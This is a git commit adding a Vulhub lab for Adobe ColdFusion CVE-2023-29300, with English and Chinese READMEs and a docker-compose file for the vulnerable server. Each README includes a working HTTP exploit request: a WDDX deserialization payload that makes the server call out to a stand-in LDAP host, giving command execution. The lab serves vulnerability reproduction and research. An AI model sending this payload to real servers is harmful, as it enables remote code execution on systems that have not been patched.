first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
coldfusion/CVE-2023-29300/1.png
Normal file
BIN
coldfusion/CVE-2023-29300/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 182 KiB |
BIN
coldfusion/CVE-2023-29300/2.png
Normal file
BIN
coldfusion/CVE-2023-29300/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 12 KiB |
50
coldfusion/CVE-2023-29300/README.md
Normal file
50
coldfusion/CVE-2023-29300/README.md
Normal file
@@ -0,0 +1,50 @@
|
||||
# Adobe ColdFusion XML Deserialization Leads to RCE (CVE-2023-29300)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Adobe ColdFusion is a commercial rapid web-application development computing platform created by J. J. Allaire in 1995.
|
||||
|
||||
Adobe ColdFusion versions 2018 Update 16 (and earlier), 2021 Update 6 (and earlier) and 2023.0.0.330468 (and earlier) are affected by a deserialization of untrusted data vulnerability. Attacker is able to call arbitrary setter function and execute arbitrary commands eventually.
|
||||
|
||||
References:
|
||||
|
||||
- <https://blog.projectdiscovery.io/adobe-coldfusion-rce/>
|
||||
- <https://xz.aliyun.com/t/13413>
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Start a Adobe ColdFusion 2018.0.15:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After a few minutes wait, visit `http://your-ip:8500/CFIDE/administrator/index.cfm` with password `vulhub`, you can install the Adobe ColdFusion successfully.
|
||||
|
||||
## Exploit
|
||||
|
||||
To exploit this issue, you have to find a valid gadget to execute arbitrary code in ColdFusion server. The most common gadget is `com.sun.rowset.JdbcRowSetImpl` that uses the JNDI injection to execute the command.
|
||||
|
||||
We utilize the [Java Chains](https://github.com/vulhub/java-chains) tool for vulnerability reproduction. To get started with Java Chains, please visit the [Quick Start](https://java-chains.vulhub.org/docs/guide) guide. Then, following the instructions in the screenshot below, generate a payload based on the `CommonsBeanutils1` exploit chain.
|
||||
|
||||

|
||||
|
||||
Then, send the following request to ColdFusion server (replace with your LDAP server address):
|
||||
|
||||
```
|
||||
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
|
||||
Host: localhost
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 333
|
||||
|
||||
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://your.ldap.server/example</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
|
||||
```
|
||||
|
||||
As you can see, the `touch /tmp/success` is executed successfully:
|
||||
|
||||

|
48
coldfusion/CVE-2023-29300/README.zh-cn.md
Normal file
48
coldfusion/CVE-2023-29300/README.zh-cn.md
Normal file
@@ -0,0 +1,48 @@
|
||||
# Adobe ColdFusion XML 反序列化命令执行漏洞(CVE-2023-29300)
|
||||
|
||||
Adobe ColdFusion是美国Adobe公司的一款动态Web服务器产品,其运行的CFML(ColdFusion Markup Language)是针对Web应用的一种程序设计语言。
|
||||
|
||||
Adobe ColdFusion在2018.0.16、2021.0.6、2023.0.0.330468版本及以前,存在一处XML反序列化漏洞。攻击者可以利用该漏洞调用Java中任意setter方法,最终执行任意命令。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://blog.projectdiscovery.io/adobe-coldfusion-rce/>
|
||||
- <https://xz.aliyun.com/t/13413>
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
启动一个Adobe ColdFusion 2018.0.15服务器:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
等待一段时间后环境启动成功,访问`http://your-ip:8500/CFIDE/administrator/index.cfm`,输入密码`vulhub`,即可成功安装Adobe ColdFusion。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
要利用这个漏洞,需要先找到一个可利用的setter方法作为Gadget。最常见的Gadget是利用`com.sun.rowset.JdbcRowSetImpl`来进行JNDI注入,并执行任意命令。
|
||||
|
||||
我们使用 [Java Chains](https://github.com/vulhub/java-chains) 工具来进行漏洞复现,通过访问 [快速入手](https://java-chains.vulhub.org/zh/docs/guide) 来启动 Java Chains,并根据下面截图的操作生成基于`CommonsBeanutils1`利用链的 payload:
|
||||
|
||||

|
||||
|
||||
然后,将恶意LDAP地址替换到如下请求中发送:
|
||||
|
||||
```
|
||||
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/1.1
|
||||
Host: localhost
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 333
|
||||
|
||||
argumentCollection=<wddxPacket version='1.0'><header/><data><struct type='xcom.sun.rowset.JdbcRowSetImplx'><var name='dataSourceName'><string>ldap://your.ldap.server/example</string></var><var name='autoCommit'><boolean value='true'/></var></struct></data></wddxPacket>
|
||||
```
|
||||
|
||||
可见,`touch /tmp/success`已被成功执行:
|
||||
|
||||

|
9
coldfusion/CVE-2023-29300/docker-compose.yml
Normal file
9
coldfusion/CVE-2023-29300/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
services:
|
||||
coldfusion:
|
||||
image: vulhub/coldfusion:2018.0.15
|
||||
ports:
|
||||
- "8500:8500"
|
||||
- "5005:5005"
|
||||
environment:
|
||||
- password=vulhub
|
||||
- acceptEULA=YES
|
Reference in New Issue
Block a user